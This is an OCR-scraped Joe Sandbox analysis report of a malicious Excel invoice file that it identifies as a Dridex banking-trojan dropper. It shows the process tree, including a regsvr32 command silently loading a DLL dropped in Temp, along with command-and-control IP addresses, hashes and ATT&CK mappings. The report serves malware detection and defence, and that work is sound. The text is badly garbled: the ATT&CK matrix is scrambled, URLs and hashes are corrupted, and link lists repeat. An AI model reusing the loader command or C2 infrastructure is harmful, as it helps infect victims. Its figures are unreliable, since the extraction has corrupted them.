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General

VBA Code Keywords

VBA Code

VBA File Name: Sheetl.cls, Stream Size: 1639

General

VBA Code Keywords

VBA Code

VBA File Name: ThisWorkbook.cls, Stream Size: 999

General
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VBA Code
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Stream Path:
General
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General
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General
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General
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Stream Path
General
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General
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General
Stream Path:
General
Stream Path:
General
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General
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General
Stream Path:
General
Stream Path:
General
Stream Path:
General

\x1CompObj, File Type: data, Stream Size: 108
\x5DocumentSummarylinformation, File Type: data, Stream Size: 284
\x5SummaryInformation, File Type: data, Stream Size: 168
MBD00102510/\x1CompObj, File Type: data, Stream Size: 115
MBDO00102510/f, File Type: data, Stream Size: 178
MBD00102510/i02/\x1CompObj, File Type: data, Stream Size: 110
MBDO00102510/i02/f, File Type: data, Stream Size: 40
MBD00102510/i02/0, File Type: empty, Stream Size: 0
MBD00102510/i03/\x1CompObj, File Type: data, Stream Size: 110
MBDO00102510/i03/f, File Type: data, Stream Size: 40
MBDO00102510/i03/o, File Type: empty, Stream Size: 0

MBDO00102510/0, File Type: data, Stream Size: 152

: MBD00102510/x, File Type: data, Stream Size: 48

Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 55702

: _VBA_PROJECT_CUR/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 550

_VBA_PROJECT_CUR/PROJECTwm, File Type: data, Stream Size: 86
_VBA_PROJECT_CUR/VBA/_VBA_PROJECT, File Type: data, Stream Size: 3574
_VBA_PROJECT_CUR/VBA/__SRP_O, File Type: data, Stream Size: 2060
_VBA_PROJECT_CUR/VBA/__SRP_1, File Type: data, Stream Size: 187
_VBA_PROJECT_CUR/VBA/__SRP_2, File Type: data, Stream Size: 363
_VBA_PROJECT_CUR/VBA/__SRP_3, File Type: data, Stream Size: 398

_VBA_PROJECT_CUR/VBA/dir, File Type: data, Stream Size: 820
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Analysis Report Inv0209966048-20210111075675.xls

Overview
General Information Detection Classification
Sample Inv0209966048-
Name: 20210111075675.Xls Detected Dridex e-Banking trojan
Analysis ID: 338362 MALICIOUS Document exploit detected (creates ...
MD5: .

91lbaabaad9201c.. Document exploit detected (drops P...
SHAL: 9¢182826d5dc04. . ) —

Found malware configuration

SHA256: 01af3b5cle2ed6s.

Signatures
Multi AV Scanner detection for subm...

Most interesting Screenshot:

Sigma detected: BlueMashroom DLL...

Snort IDS alert for network traffic (e....

System process connects to networ...

Hidden Macro 4.0

Document contains an embedded VB...

Dridex

Document exploit detected (UrlDown...

Range: 0-100 Document exploit detected|(process....

Whitelisted:  false

Found Excel 4.0 Macro with suspicio...

Confidence:  100%

Startup

= System is w7x64

o EXCEL.EXE (PID: 2028 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FBOAOF93382ECD19F5F499A5CAA59F0)
o B regsvr32.exe (PID: 2356 cmdline: 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\lwjmdgav.dil. MD5: 59BCE9F07985F8A4204F4D6554CFF708)
o W regsvr32.exe (PID: 2328 cmdline: -s C:\Users\user\AppData\Local\Temp\lwjmdgav.dil. MD5: 432BE6CF7311062633459EEF6B242FB5)
. DW20.EXE (PID: 3052 cmdline: 'C:\PROGRA~1\COMMON~1\MICROS~1\DW\DW20.EXE' -x -s 1488 MD5: 45A078B2967E0797360A2D4434C41DB4)
e [ DWWIN.EXE (PID: 2968 cmdline: C:\Windows\system32\dwwin.exe -x -s 1488 MD5: 25247E3C4E7A7A73BAEEA6C0008952B1)
= cleanup

Malware Configuration

Threatname: Dridex

"Config: ": [

"Address count 0"

Yara Overview

Initial Sample

Source Rule Description Author Strings
Inv0209966048-20210111075675.xls JoeSecurity_XlsWithMacro Yara detected Xls Joe Security
4 With Macro 4.0
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Sigma Overview

System Summary:

Sigma detected: BlueMashroom DLL Load

Signature Overview

@ AV Detection

® Compliance

@ Spreading

@ Software Vulnerabilities

@ Networking

@ E-Banking Fraud

® System Summary

@ Data Obfuscation

@ Persistence and Installation Behavior

@ Hooking and other Techniques for Hiding and Protection
@ Malware Analysis System Evasion

@ Anti Debugging

@ HIPS / PFW / Operating System Protection Evasion

@ Language, Device and Operating System Detection

@ Lowering of HIPS / PFW / Operating System Security Settings

@

Click to jump to signature section

=

AV Detection:

Found malware configuration

Multi AV Scanner detection for submitted file

]

Software Vulnerabilities:

Document exploit detected (creates forbidden files)

Document exploit detected (drops PE files)

]

Networking:

rt IDS alert for network traffic (e.g. based on Emerging Threat rules)

=

E-Banking Fraud:

Detected Dridex e-Banking trojan

=

System Summary:
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HIPS | PFW | Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command Netwot
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Control Effects
Valid Scripting Path Process Masquerading oS Query Registry Remote Archive Exfiltration Encrypted Eavesd
Accounts Interception  Injection Credential Services Collected  Over Other Channel Insecur
Dumping Data Network Networ
Medium Commu
Default Native API Boot or Boot or Logon Virtualization/Sandbox LSASS Virtualization/Sandbox Remote Data from  Exfiltration Non-Standard  Exploit
Accounts Logon Initialization Evasion Memory Evasion Desktop Removable Over Port Redirec
Initialization  Scripts Protocol Media Bluetooth Calls/s
Scripts
Domain Exploitation for Logon Script Logon Script Disable or Modify Security Process Discovery SMB/Windows Data from Automated Ingress Tool Exploit
Accounts Client (Windows)  (Windows) Tools Account Admin Shares Network Exfiltration Transfer Track C
Execution Manager Shared Locatio
Drive

Local At (Windows)  Logon Script Logon Script Process NTDS Account Discovery Distributed Input Scheduled Non- SIM Ca

Accounts (Mac) (Mac) Injection Component  Capture Transfer Application Swap

Object Model Layer
Protocol

Cloud Cron Network Network Logon  Scripting LSA System Owner/User  SSH Keylogging Data Application Manipu
Accounts Logon Script Script Secrets Discovery Transfer Layer Device

Size Limits  Protocol Commt

Replication  Launchd Rc.common Rc.common Obfuscated Filesor  Cached Remote System VNC GUI Input  Exfiltration  Multiband Jammir
Through Information Domain Discovery Capture Over C2 Communication Denial «
Removable Credentials Channel Service
Media
External Scheduled Task Startup Startup Items Regsvr32 DCSync System Network Windows Web Portal Exfiltration Commonly Rogue
Remote Items Configuration Remote Capture Over Used Port Access
Services Discovery Management Alternative

Protocol
Drive-by Command and Scheduled  Scheduled Indicator Removal Proc File and Directory Shared Credential Exfiltration Application Downgl
Compromise Scripting Task/Job Task/Job from Tools Filesystem Discovery Webroot API Over Layer Protocol Insecur

Interpreter Hooking Symmetric Protocc

Encrypted

Non-C2

Protocol
Exploit PowerShell At (Linux) At (Linux) Masquerading letc/passwd System Information Software Data Exfiltration Web Protocols Rogue
Public- and Discovery Deployment  Staged Over Base S
Facing letc/shadow Tools Asymmetric
Application Encrypted

Non-C2

Protocol

Behavior Graph
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Hide Legend

Behavior Graph
D: 338362 Legend:
Sample: INv0209966048-20210111075675.xIs
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Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link

Source Detection Scanner Label Link

Unpacked PE Files

No Antivirus matches

Domains

Source Detection Scanner Label Link
education.scrollx.in 2% Virustotal Browse
cdn.digicertcdn.com 0% Virustotal Browse
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https://www.virustotal.com/gui/file/01af3b5c1e2ed68272f542233aece70269a9e977815347a4b9c86bb2d97c086e/detection/f-01af3b5c1e2ed68272f542233aece70269a9e977815347a4b9c86bb2d97c086e-1610432291
https://www.metadefender.com/#!/results/file/YnpJeE1ERXhNbXR1TTJVMVZGRXhlUU1UZy16ZWJyV1g/regular/analysis
https://www.virustotal.com/gui/url/cc43e8a20f660588fd9916006062b370888c1d8f7b8208de964bcc71b2d99437/detection/u-cc43e8a20f660588fd9916006062b370888c1d8f7b8208de964bcc71b2d99437-1610381415
https://www.virustotal.com/gui/url/95dc347dd240bb72a7c35898a0f6b664166ee318fe6f1103531fb4cb02366670/detection/u-95dc347dd240bb72a7c35898a0f6b664166ee318fe6f1103531fb4cb02366670-1607561098

URLs

Source Detection Scanner Label Link
hitp://https://5.100.228.233:3389/ 2% Virustotal Browse
hitp://https://5.100.228.233:3389/ 0% Avira URL Cloud safe
hitp://https://80.86.91.27:3308/TATE 0% Avira URL Cloud safe
hitp://ocsp.entrust.net03 0% URL Reputation safe
hitp://ocsp.entrust.net03 0% URL Reputation safe
hitp://ocsp.entrust.net03 0% URL Reputation safe
hitp://ocsp.entrust.net03 0% URL Reputation safe
hitp://https://80.86.91.27/ 0% Avira URL Cloud safe
hitp://https://5.100.228.233/= 0% Avira URL Cloud safe
hitp://https://5.100.228.233:3389/in 0% Avira URL Cloud safe
hitp://https://77.220.64.37/-39; 0% Avira URL Cloud safe
hitp://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0 0% URL Reputation safe
hitp://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0 0% URL Reputation safe
hitp://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0 0% URL Reputation safe
hitp://\www.diginotar.nl/cps/pkioverheid0 0% URL Reputation safe
hitp://\www.diginotar.nl/cps/pkioverheid0 0% URL Reputation safe
hitp://\www.diginotar.nl/cps/pkioverheid0 0% URL Reputation safe
hitp://iwindowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
hitp://iwindowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
hitp://iwindowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
hitp://https://77.220.64.37/0; 0% Avira URL Cloud safe
hitp://https://46.105.131.65:1512/ 0% Avira URL Cloud safe
hitp://https://46.105.131.65/ 0% Avira URL Cloud safe
hitp://crl.pkioverheid.nl/DomOvLatestCRL.crl0 0% URL Reputation safe
hitp://crl.pkioverheid.nl/DomOvLatestCRL.crl0 0% URL Reputation safe
hitp://crl.pkioverheid.nl/DomOvLatestCRL.crl0 0% URL Reputation safe
hitp://iwww.icra.org/vocabulary/. 0% URL Reputation safe
hitp://iwww.icra.org/vocabulary/. 0% URL Reputation safe
hitp://iwww.icra.org/vocabulary/. 0% URL Reputation safe
hitp://https://5.100.228.233:3389/0 0% Avira URL Cloud safe
hitp://https://5.100.228.233:3389/H 0% Avira URL Cloud safe
hitp:/fiwww.%s.comPA 0% URL Reputation safe
hitp:/fiwww.%s.comPA 0% URL Reputation safe
hitp:/fiwww.%s.comPA 0% URL Reputation safe
hitp://ocsp.entrust.netOD 0% URL Reputation safe
hitp://ocsp.entrust.netOD 0% URL Reputation safe
hitp://ocsp.entrust.netOD 0% URL Reputation safe
hitp://https://46.105.131.65:1512/an 0% Avira URL Cloud safe
hitp://https://5.100.228.233/ 0% Avira URL Cloud safe
hitp://servername/isapibackend.dll 0% Avira URL Cloud safe

Domains and IPs

Contacted Domains

Name P Active Malicious Antivirus Detection Reputation
education.scrollx.in 104.27.153.52 true false ® 2%, Virustotal, Browse unknown
cdn.digicertcdn.com 104.18.11.39 true false e 0%, Virustotal, Browse unknown

URLs from Memory and Binaries

Name Source Malicious Antivirus Detection Reputation

hitp:/fiwww.windows.com/pctv. DWWIN.EXE, 00000007.00000002.2 false high
260615326.0000000003250000.000
00002.00000001.sdmp

hitp://https://5.100.228.233:3389/ regsvr32.exe, 00000004.0000000 false e 2%, Virustotal, Browse unknown
3.2205277449.00000000003DD0O00. e Avira URL Cloud: safe
00000004.00000001.sdmp

hitp://investor.msn.com DWWIN.EXE, 00000007.00000002.2 false high
260615326.0000000003250000.000
00002.00000001.sdmp
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https://www.virustotal.com/gui/url/7a71f1c84996cb5ba4130e78eff5c23313b40e9b8c09552ee3b98d60c2a95de0/detection/u-7a71f1c84996cb5ba4130e78eff5c23313b40e9b8c09552ee3b98d60c2a95de0-1610423704
https://www.virustotal.com/gui/url/cc43e8a20f660588fd9916006062b370888c1d8f7b8208de964bcc71b2d99437/detection/u-cc43e8a20f660588fd9916006062b370888c1d8f7b8208de964bcc71b2d99437-1610381415
https://www.virustotal.com/gui/url/95dc347dd240bb72a7c35898a0f6b664166ee318fe6f1103531fb4cb02366670/detection/u-95dc347dd240bb72a7c35898a0f6b664166ee318fe6f1103531fb4cb02366670-1607561098
https://www.virustotal.com/gui/url/7a71f1c84996cb5ba4130e78eff5c23313b40e9b8c09552ee3b98d60c2a95de0/detection/u-7a71f1c84996cb5ba4130e78eff5c23313b40e9b8c09552ee3b98d60c2a95de0-1610423704

Name Source Malicious Antivirus Detection Reputation

hitp://www.msnbc.com/news/ticker.txt DWWIN.EXE, 00000007.00000002.2 false high
260615326.0000000003250000.000
00002.00000001.sdmp

hitp://https://80.86.91.27:3308/TATE regsvr32.exe, 00000004.0000000 false e Avira URL Cloud: safe unknown
2.2406981782.00000000003DD0O00.
00000004.00000020.sdmp

hitp://crl.entrust.net/serverl.crl0 regsvr32.exe, 00000004.0000000 false high
3.2205261646.00000000003B1000.
00000004.00000001.sdmp, DWWIN.
EXE, 00000007.00000002.2261028
499.000000000369D000.00000004.
00000001.sdmp

URL Reputation: safe unknown
URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

hitp://ocsp.entrust.net03 regsvr32.exe, 00000004.0000000 false
3.2205261646.00000000003B1000.
00000004.00000001.sdmp, DWWIN.
EXE, 00000007.00000002.2261028
499.000000000369D000.00000004.
00000001.sdmp

e o o o

hitp://https://80.86.91.27/ regsvr32.exe, 00000004.0000000 false e Avira URL Cloud: safe unknown
2.2406981782.00000000003DD0O00.
00000004.00000020.sdmp

hitp://https://5.100.228.233/= regsvr32.exe, 00000004.0000000 false e Avira URL Cloud: safe unknown
2.2406981782.00000000003DD0O00.
00000004.00000020.sdmp

hitp://https://5.100.228.233:3389/in regsvr32.exe, 00000004.0000000 false e Avira URL Cloud: safe unknown
2.2406981782.00000000003DD0O00.
00000004.00000020.sdmp

hitp://https://77.220.64.37/-39; regsvr32.exe, 00000004.0000000 false e Avira URL Cloud: safe unknown
2.2406932128.000000000036D000.
00000004.00000020.sdmp

hitp://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0 regsvr32.exe, 00000004.0000000 false e URL Reputation: safe unknown
3.2205261646.00000000003B1000. e URL Reputation: safe
00000004.00000001.sdmp, DWWIN. e URL Reputation: safe
EXE, 00000007.00000003.2255931
534.00000000036B4000.00000004.
00000001.sdmp

hitp:/f\www.diginotar.nl/cps/pkioverheid0 regsvr32.exe, 00000004.0000000 false e URL Reputation: safe unknown
3.2205261646.00000000003B1000. e URL Reputation: safe
00000004.00000001.sdmp, DWWIN. e URL Reputation: safe
EXE, 00000007.00000003.2255931
534.00000000036B4000.00000004.
00000001.sdmp

hitp://iwindowsmedia.com/redir/services.asp? DWWIN.EXE, 00000007.00000002.2 false e URL Reputation: safe unknown
WMPFriendly=true 260811324.0000000003437000.000 e URL Reputation: safe
00002.00000001.sdmp e URL Reputation: safe

hitp:/fiwww.hotmail.com/oe DWWIN.EXE, 00000007.00000002.2 false high
260615326.0000000003250000.000
00002.00000001.sdmp

hitp://https://77.220.64.37/0; regsvr32.exe, 00000004.0000000 false e Avira URL Cloud: safe unknown
2.2406932128.000000000036D000.
00000004.00000020.sdmp

hitp://https://46.105.131.65:1512/ regsvr32.exe, 00000004.0000000 false e Avira URL Cloud: safe unknown
2.2406981782.00000000003DD0O00.
00000004.00000020.sdmp

hitp://https://46.105.131.65/ regsvr32.exe, 00000004.0000000 false e Avira URL Cloud: safe unknown
2.2406981782.00000000003DD0O00.
00000004.00000020.sdmp

hitp://services.msn.com/svcs/oe/certpage.asp? DWWIN.EXE, 00000007.00000002.2 false high
name=%s&email=%s&&Check 260811324.0000000003437000.000
00002.00000001.sdmp

hitp://crl.pkioverheid.nl/DomOvLatestCRL.crl0 regsvr32.exe, 00000004.0000000 false e URL Reputation: safe unknown
3.2205261646.00000000003B1000. e URL Reputation: safe
00000004.00000001.sdmp, DWWIN. e URL Reputation: safe
EXE, 00000007.00000003.2255931
534.00000000036B4000.00000004.
00000001.sdmp

hitp://iwww.icra.org/vocabulary/. DWWIN.EXE, 00000007.00000002.2 false e URL Reputation: safe unknown
260811324.0000000003437000.000 e URL Reputation: safe
00002.00000001.sdmp e URL Reputation: safe

hitp:/ regsvr32.exe, 00000004.0000000 false high
schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous 2.2409391868.0000000002390000.

00000002.00000001.sdmp, DWWIN.

EXE, 00000007.00000002.2261214

468.0000000004000000.00000002.

00000001.sdmp

hitp://https://5.100.228.233:3389/0 regsvr32.exe, 00000004.0000000 false e Avira URL Cloud: safe unknown
2.2406908102.000000000033F000.
00000004.00000020.sdmp

hitp://investor.msn.com/ DWWIN.EXE, 00000007.00000002.2 false high
260615326.0000000003250000.000
00002.00000001.sdmp
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Name

hitp://https://5.100.228.233:3389/In

hitp://https://5.100.228.233:3389/H

hitpiwww.%s.comPA

hitp://ocsp.entrust.netOD

hitp://https://46.105.131.65:1512/an

hitp://https://secure.comodo.com/CPS0

hitp://https://5.100.228.233/

hitp://servername/isapibackend.dll

hitp://crl.entrust.net/2048ca.crl0

Contacted IPs

] No. of IPs < 25%
B 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
Bl 75% <No. of IPs

Copyright null 2021

Source

regsvr32.exe, 00000004.0000000
2.2406981782.00000000003DD0O00.
00000004.00000020.sdmp

regsvr32.exe, 00000004.0000000
2.2406908102.000000000033F000.
00000004.00000020.sdmp

regsvr32.exe, 00000004.0000000
2.2409391868.0000000002390000.
00000002.00000001.sdmp, DWWIN.
EXE, 00000007.00000002.2261214
468.0000000004000000.00000002.
00000001.sdmp

regsvr32.exe, 00000004.0000000
3.2205261646.00000000003B1000.
00000004.00000001.sdmp, DWWIN.
EXE, 00000007.00000002.2256367
652.00000000001E0000.00000004.
00000001.sdmp

regsvr32.exe, 00000004.0000000
2.2406981782.00000000003DD0O00.
00000004.00000020.sdmp

regsvr32.exe, 00000004.0000000
3.2205261646.00000000003B1000.
00000004.00000001.sdmp, DWWIN.
EXE, 00000007.00000003.2256002
610.000000000015E000.00000004.
00000001.sdmp

regsvr32.exe, 00000004.0000000
2.2406981782.00000000003DD0O00.
00000004.00000020.sdmp

regsvr32.exe, 00000003.0000000
2.2406957167.0000000001D90000.
00000002.00000001.sdmp, regsvr
32.exe, 00000004.00000002.2407
102495.00000000009A0000.000000
02.00000001.sdmp, DWWIN.EXE, 0
0000007.00000002.2257019838.00
000000024C0000.00000002.000000
01.sdmp

regsvr32.exe, 00000004.0000000
3.2205261646.00000000003B1000.
00000004.00000001.sdmp, DWWIN.
EXE, 00000007.00000002.2256367
652.00000000001E0000.00000004.
00000001.sdmp

Malicious

false

false

false

false

false

false

false

false

false

Antivirus Detection

e Avira URL Cloud: safe

e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe

e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe

e Avira URL Cloud: safe

e Avira URL Cloud: safe

e Avira URL Cloud: safe

Reputation

unknown

unknown

low

unknown

unknown

high

unknown

low

high
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Public

P Domain Country Flag ASN ASN Name Malicious

104.27.153.52 unknown United States 13335 CLOUDFLARENETUS false

General Information

Joe Sandbox Version: 31.0.0 Red Diamond

Analysis ID: 338362

Start date: 12.01.2021

Start time: 07:38:42

Joe Sandbox Product: CloudBasic

Overall analysis duration: Oh 7m 45s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: Inv0209966048-20210111075675.xIs
Cookbook file name: defaultwindowsofficecookbook.jbs
Analysis system description: Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52,

Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127,
Java 8 Update 121, .NET 4.6.2)

Number of analysed new started processes analysed: 10
Number of new started drivers analysed:
Number of existing processes analysed:

Number of existing drivers analysed:

o ©o o o

Number of injected processes analysed:

Technologies: e HCA enabled
e EGA enabled
e HDC enabled
L]
L]

GSl enabled (VBA)

AMSI enabled
Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL
Classification: mal100.bank.expl.evad.winXLS@9/18@1/5
EGA Information: Failed
HDC Information: e Successful, ratio: 11.7% (good quality ratio 11.5%)

e Quality average: 79.7%
e Quality standard deviation: 19.5%

HCA Information: e Successful, ratio: 87%
e Number of executed functions: 0
e Number of non-executed functions: 0

Cookbook Comments: e Adjust boot time
e Enable AMSI
Found application associated with file extension:
xls
Found Word or Excel or PowerPoint or XPS Viewer
Found warning dialog
Click Ok
Found warning dialog
Click Ok
Found warning dialog
Click Ok
Attach to Office via COM
Close Viewer
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Warnings:

Simulations

Behavior and APIs

Time Type
07:39:55 API Interceptor
07:40:17 API Interceptor

Joe Sandbox View | Context

Show All

Description
1141x Sleep call for process: regsvr32.exe modified

515x Sleep call for process: DWWIN.EXE modified

IPs

Match Associated Sample Name /| URL SHA 256 Detection
5.100.228.233 jradosrobaril I Get hash malicious
80.86.91.27 _ Get hash malicious

Copyright null 2021

Exclude process from analysis (whitelisted):
dllhost.exe, svchost.exe

TCP Packets have been reduced to 100
Excluded IPs from analysis (whitelisted):
67.26.73.254, 8.253.95.249, 8.248.139.254,
8.253.95.121, 67.27.157.254, 40.88.32.150,
52.255.188.83, 104.18.11.39

Excluded domains from analysis (whitelisted):
skypedataprdcoleus15.cloudapp.net,
skypedataprdcoleus17.cloudapp.net,
watson.microsoft.com,
audownload.windowsupdate.nsatc.net,
blobcollector.events.data.trafficmanager.net,
cacerts.digicert.com, ctldl.windowsupdate.com,
auto.au.download.windowsupdate.com.c.footprint.n
et, au-bg-shim.trafficmanager.net

Report size exceeded maximum capacity and may
have missing behavior information.

Report size getting too big, too many NtCreateFile
calls found.

Report size getting too big, too many
NtDeviceloControlFile calls found.

Report size getting too big, too many
NtEnumerateValueKey calls found.

Report size getting too big, too many
NtOpenKeyEx calls found.

Report size getting too big, too many
NtQueryAttributesFile calls found.

Report size getting too big, too many
NtQueryValueKey calls found.

Report size getting too big, too many
NtReadVirtualMemory calls found.

Report size getting too big, too many
NtSetInformationFile calls found.

Link Context
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse
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https://view.joesandbox.com/analysis/254108/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254108/html/none?idtype=webid
https://view.joesandbox.com/analysis/254107/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254107/html/none?idtype=webid
https://view.joesandbox.com/analysis/254106/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254106/html/none?idtype=webid
https://view.joesandbox.com/analysis/254079/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254079/html/none?idtype=webid
https://view.joesandbox.com/analysis/254055/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254055/html/none?idtype=webid
https://view.joesandbox.com/analysis/254037/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254037/html/none?idtype=webid
https://view.joesandbox.com/analysis/254024/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254024/html/none?idtype=webid
https://view.joesandbox.com/analysis/254021/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254021/html/none?idtype=webid
https://view.joesandbox.com/analysis/254007/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254007/html/none?idtype=webid
https://view.joesandbox.com/analysis/254006/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254006/html/none?idtype=webid
https://view.joesandbox.com/analysis/254003/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254003/html/none?idtype=webid
https://view.joesandbox.com/analysis/253992/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253992/html/none?idtype=webid
https://view.joesandbox.com/analysis/253988/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253988/html/none?idtype=webid
https://view.joesandbox.com/analysis/253984/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253984/html/none?idtype=webid
https://view.joesandbox.com/analysis/253983/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253983/html/none?idtype=webid
https://view.joesandbox.com/analysis/254108/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254108/html/none?idtype=webid
https://view.joesandbox.com/analysis/254107/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254107/html/none?idtype=webid
https://view.joesandbox.com/analysis/254106/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254106/html/none?idtype=webid

Match

46.105.131.65

77.220.64.37

Domains

Match

cdn.digicertcdn.com

Copyright null 2021

SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

e >
a "
4 (73
S o
=) 2.
3 B
2 (13
= o
¢ (7))
2 o
3 E
3 E]
® o
s 2
2 Y
3 E
I o
< Cc
B 3
- r

htt Get hash

Get hash
Get hash

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious

malicious

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse

Browse

Context

Context

104.18.10.39
104.18.11.39
104.18.10.39
104.18.11.39
104.18.10.39
104.18.10.39
104.18.10.39
104.18.10.39

104.18.10.39

104.18.10.39
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https://view.joesandbox.com/analysis/254079/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254079/html/none?idtype=webid
https://view.joesandbox.com/analysis/254055/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254055/html/none?idtype=webid
https://view.joesandbox.com/analysis/254037/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254037/html/none?idtype=webid
https://view.joesandbox.com/analysis/254024/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254024/html/none?idtype=webid
https://view.joesandbox.com/analysis/254021/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254021/html/none?idtype=webid
https://view.joesandbox.com/analysis/254007/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254007/html/none?idtype=webid
https://view.joesandbox.com/analysis/254006/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254006/html/none?idtype=webid
https://view.joesandbox.com/analysis/254003/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254003/html/none?idtype=webid
https://view.joesandbox.com/analysis/253992/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253992/html/none?idtype=webid
https://view.joesandbox.com/analysis/253988/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253988/html/none?idtype=webid
https://view.joesandbox.com/analysis/253984/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253984/html/none?idtype=webid
https://view.joesandbox.com/analysis/253983/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253983/html/none?idtype=webid
https://view.joesandbox.com/analysis/254108/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254108/html/none?idtype=webid
https://view.joesandbox.com/analysis/254107/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254107/html/none?idtype=webid
https://view.joesandbox.com/analysis/254106/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254106/html/none?idtype=webid
https://view.joesandbox.com/analysis/254079/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254079/html/none?idtype=webid
https://view.joesandbox.com/analysis/254055/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254055/html/none?idtype=webid
https://view.joesandbox.com/analysis/254037/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254037/html/none?idtype=webid
https://view.joesandbox.com/analysis/254024/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254024/html/none?idtype=webid
https://view.joesandbox.com/analysis/254021/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254021/html/none?idtype=webid
https://view.joesandbox.com/analysis/254007/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254007/html/none?idtype=webid
https://view.joesandbox.com/analysis/254006/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254006/html/none?idtype=webid
https://view.joesandbox.com/analysis/254003/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254003/html/none?idtype=webid
https://view.joesandbox.com/analysis/253992/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253992/html/none?idtype=webid
https://view.joesandbox.com/analysis/253988/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253988/html/none?idtype=webid
https://view.joesandbox.com/analysis/253984/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253984/html/none?idtype=webid
https://view.joesandbox.com/analysis/253983/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253983/html/none?idtype=webid
https://view.joesandbox.com/analysis/254108/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254108/html/none?idtype=webid
